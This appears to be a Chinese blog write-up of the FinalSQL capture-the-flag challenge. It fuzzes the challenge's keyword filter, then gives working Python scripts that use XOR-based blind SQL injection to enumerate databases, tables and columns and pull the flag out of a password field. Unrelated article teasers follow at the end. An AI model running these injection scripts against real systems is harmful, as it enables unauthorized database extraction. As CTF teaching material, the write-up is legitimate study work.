[极客大挑战 2019]FinalSQL(bypass盲注)

news2025/1/11 23:51:18

在这里插入图片描述
这里是数字型注入,选择一个序号

fuzz

?id=1

这里过滤了很多东西
使用fuzzSQL字典,这是我自己定义编写的一个fuzz字典,内容较少

select
from
information
.
tables
where
=
'
and
"
or
|
&
union
columns
updatexml
extractvalue
database
table_name
column_name
schema_name
--
%25
like
||
&&
<
>
(
)
group_concat
database
OR
1%0A1
1%091
1%0C1
1%0D1
1%201
*
/
-
^
if
`
substr
mid
ascii
limit
ord
,
from
for
offset
in
length
concat

使用bp加载字典进行测试

在这里插入图片描述
看出被拦截的关键字相应大小为890,那么之外的就是没有被拦截的

空格被过滤了,这里使用 ^ 来计算是否为数字注入

?id=1^1
?id=1^0
?id=0^1

通过测试可以发现,除了第一个其他都执行成功,也就是说是数字型注入

在这里插入图片描述

也就是可以通过布尔注入来测试

?id=0^(测试语句)

如果测试语句为真那么整体返回真

那么我们的思路如下

  • 得到所有数据库
  • 查询指定数据库的数据表
  • 查询数据表的所有字段

使用python脚本编写,如果响应为429那么就是请求过快需要等待一会再进行请求

获取所有数据库

import requests
from time import sleep
url = "http://dd9a70f3-f3ef-42bd-8286-fe0bdccac825.node4.buuoj.cn:81/search.php?id=0^({})"
# 如果为真时的关键字匹配
base = 'Click others'
# 盲注的字符集
chars = ',abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

inject = "ord(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break
information_schema,mysql,performance_schema,test,geek

获取表

inject = "ord(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='geek')),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break

F1naI1y,Flaaaaag

获取列

inject = "ord(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='F1naI1y')),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break
id,username,password

获取flag

import requests
import string
from time import sleep
url = "http://9da9cb18-3096-413a-9476-8a177ffec31a.node4.buuoj.cn:81/search.php?id=0^({})"
# 如果为真时的关键字匹配
base = 'Click others'
# 盲注的字符集
chars = string.printable

inject = "ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break

这里使用 reverse 是因为flag在最后面,将得到的结果反转即可得到flag

}42e24a1d9455-24bb-fac4-fdf9-e863df96{galf
flag{69fd368e-9fdf-4caf-bb42-5549d1a42e24}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/981503.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大数据Flink(七十四):SQL的滑动窗口(HOP)

文章目录 SQL的滑动窗口(HOP) SQL的滑动窗口(HOP) 滑动窗口定义:滑动窗口也是将元素指定给固定长度的窗口。与滚动窗口功能一样,也有窗口大小的概念。不一样的地方在于,滑动窗口有另一个参数控制窗口计算的频率(滑动窗口滑动的步长)。因此,如果滑动的步长小于窗口大…

TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension “.ts“ for xxx

报错信息&#xff1a; 解决方法&#xff1a; 在 package.json 文件中将 【type:“module”】删除

【Spring Boot】分页

分页查询 分页查询是日常开发中比较常用的功能。MyBatis框架下也有很多插件实现分页功能&#xff0c;比如pageHelper。这是一款非常简单、易用的分页插件&#xff0c;能很好地集成在Spring Boot中。pageHelper是一款基于MyBatis的数据库分页插件&#xff0c;所以我们在使用它时…

【广州华锐互动】AR远程协助技术提供实时远程协作和指导

随着科技的不断发展&#xff0c;企业的运营管理模式也在不断地进行创新和升级。在这个过程中&#xff0c;AR&#xff08;增强现实&#xff09;技术的应用逐渐成为了企业运维管理的新兴趋势。AR远程协助平台作为一种结合了AR技术和远程协助理念的技术手段&#xff0c;为企业运维…

裙式给料机的全球市场在2030年前将达到64亿美元!

裙式给料机&#xff0c;又称旋翼式给料机或喂料机&#xff0c;是一种结构独特的连续式给料设备&#xff0c;主要用于粗碎或中碎物料的过程。其核心部分为带有旋翼的裙式料斗&#xff0c;通过裙式料斗的旋转&#xff0c;将物料均匀地送入后续的破碎设备中。这种给料机的特点是结…

Word 表格单元格无法垂直居中

Word使用 由于平时也需要用到word编写一些文档&#xff0c;但是咱们就是用的少&#xff0c;很多操作或者技巧不太清楚&#xff0c;很多小问题处理起来反而需要消耗很多时间&#xff0c;所以在这里记录平时遇到的一些问题。 表格无法垂直居中 类似于上图的情况&#xff0c;总之…

【Java 基础篇】Java 自动装箱与拆箱:优雅处理基本数据类型与包装类的转换

在 Java 编程中&#xff0c;自动装箱&#xff08;Autoboxing&#xff09;和自动拆箱&#xff08;Unboxing&#xff09;是两个重要的概念。它们使得基本数据类型与其对应的包装类之间的转换更加方便&#xff0c;同时也提高了代码的可读性和可维护性。本篇博客将深入探讨自动装箱…

leetcode 92.反转链表II dummy节点的应用

题目 方法 dummy节点 链表的第一个结点&#xff0c;因为没有前驱结点&#xff0c;存在同时删除前驱和后继的情况&#xff0c;这时候我们需要人为构造dummy节点——人为制造出来的第一个结点的前驱结点&#xff0c;也就是说&#xff0c;在可能操作head节点时&#xff0c;我们可…

MySQL——存储引擎

简介 MySQL数据库主要的存储引擎&#xff1a; MyISAM和InnoDB简介 MyISAM是MySQL的默认数据库引擎&#xff08;5.5版之前&#xff09;&#xff0c;由早期的 ISAM &#xff08;Indexed Sequential Access Method&#xff1a;有索引的顺序访问方法&#xff09;所改良。虽然性能…

Spring学习笔记——3

Spring学习笔记——3 一、AOP简介1.1、AOP概述1.2、AOP思想的实现方案1.3、模拟AOP的基础代码1.4、AOP的相关概念 二、基于XML配置的AOP2.1、XML方式AOP快速入门2.2、XML方式AOP配置详解2.3、XML方式AOP原理剖析 三、基于注解配置AOP3.1、注解方式AOP基本使用3.2、注解方式AOP配…

springMVC基础技术使用

目录 1.常用注解 1.1RequestMapping 1.2.RequestParam 1.3.RequestBody 1.4.PathVariable 2.参数传递 2.1 slf4j-----日志 2.2基础类型 2.3复杂类型 2.4RequestParam 2.5PathVariable 2.6RequestBody 2.7请求方法&#xff08;增删改查&#xff09; 3.返回值 3.1void …

rhcsa学习1基本命令(软硬链接,获取帮助等)

pwd 显示该shell的当前工作目录的完整路径名 ls 列出指定目录的目录内容 cd 更改shell的当前工作目录 没有什么特殊情况命令小写 ~所在位置&#xff1a;当前工作目录 #当前用户为管理员root $当前是普通用户 命令由三个基本部分组成&#xff1a; 命令、选项、参数 如下 -a --a…

Qt MinGW / MSVC

MinGW/MSVC的关系 MinGW / MSVC.dll / .lib / .a 的关系 MinGW / MSVC Qt 中有两种方式编译&#xff1a;一种是MinGW &#xff0c;另一种MSVC&#xff0c;是两种不同的编译器。 MinGW(Minimalist GNUfor Windows)&#xff0c;它是一个可自由使用和自由发布的Windows特定头文件…

2020年09月 C/C++(一级)真题解析#中国电子学会#全国青少年软件编程等级考试

C/C编程&#xff08;1~8级&#xff09;全部真题・点这里 第1题&#xff1a;输出整数 输入四个整数&#xff0c;把输入的第三、第四个整数输出。 时间限制&#xff1a;3000 内存限制&#xff1a;65536 输入 只有一行&#xff0c;共四个整数&#xff0c;整数之间由一个空格分隔。…

React中消息订阅与发布(PubSubJS)——两个组件之间通信

结合案例&#xff1a;github搜索案例 结果如下图 1.父容器代码 import React, { Component } from react import Search from ./components/Search import List from ./components/List export default class App extends Component {render() {return (<div className&…

QT Day5思维导图

聊天室代码&#xff1a; #include "cli.h" #include "ui_cli.h"Cli::Cli(QWidget *parent): QWidget(parent), ui(new Ui::Cli) {ui->setupUi(this);socket new QTcpSocket(this);connect(socket,&QTcpSocket::connected,this,&Cli::connect_…

Android Jetpack 中Hilt的使用

Hilt 是 Android 的依赖项注入库&#xff0c;可减少在项目中执行手动依赖项注入的样板代码。执行 手动依赖项注入 要求您手动构造每个类及其依赖项&#xff0c;并借助容器重复使用和管理依赖项。 Hilt 通过为项目中的每个 Android 类提供容器并自动管理其生命周期&#xff0c;…

图的学习,深度和广度遍历

一、什么是图 表示“多对多”的关系 包括&#xff1a; 一组顶点&#xff1a;通常用V&#xff08;Vertex&#xff09;表示顶点集合一组边&#xff1a;通常用E&#xff08;Edge&#xff09;表示边的集合 边是顶点对&#xff1a;(v, w)∈E&#xff0c;其中v,w∈V有向边<v, w&…

线性代数的学习和整理20,关于向量/矩阵和正交相关,相似矩阵等

目录 1 什么是正交 1.1 正交相关名词 1.2 正交的定义 1.3 正交向量 1.4 正交基 1.5 正交矩阵的特点 1.6 正交矩阵的用处 1 什么是正交 1.1 正交相关名词 orthogonal set 正交向量组正交变换orthogonal matrix 正交矩阵orthogonal basis 正交基orthogonal decompositio…

【微服务】五. Nacos服务注册

Nacos服务注册 5.1 Nacos服务分级存储模型Nacos服务分级存储模型&#xff1a;服务集群属性&#xff1a;总结&#xff1a; 5.2 根据集群负载均衡总结 5.3 Nacos服务实例的权重设置总结&#xff1a; 5.6 环境隔离namespace总结 5.7 Nacos和Eureka的对比总结 5.1 Nacos服务分级存储…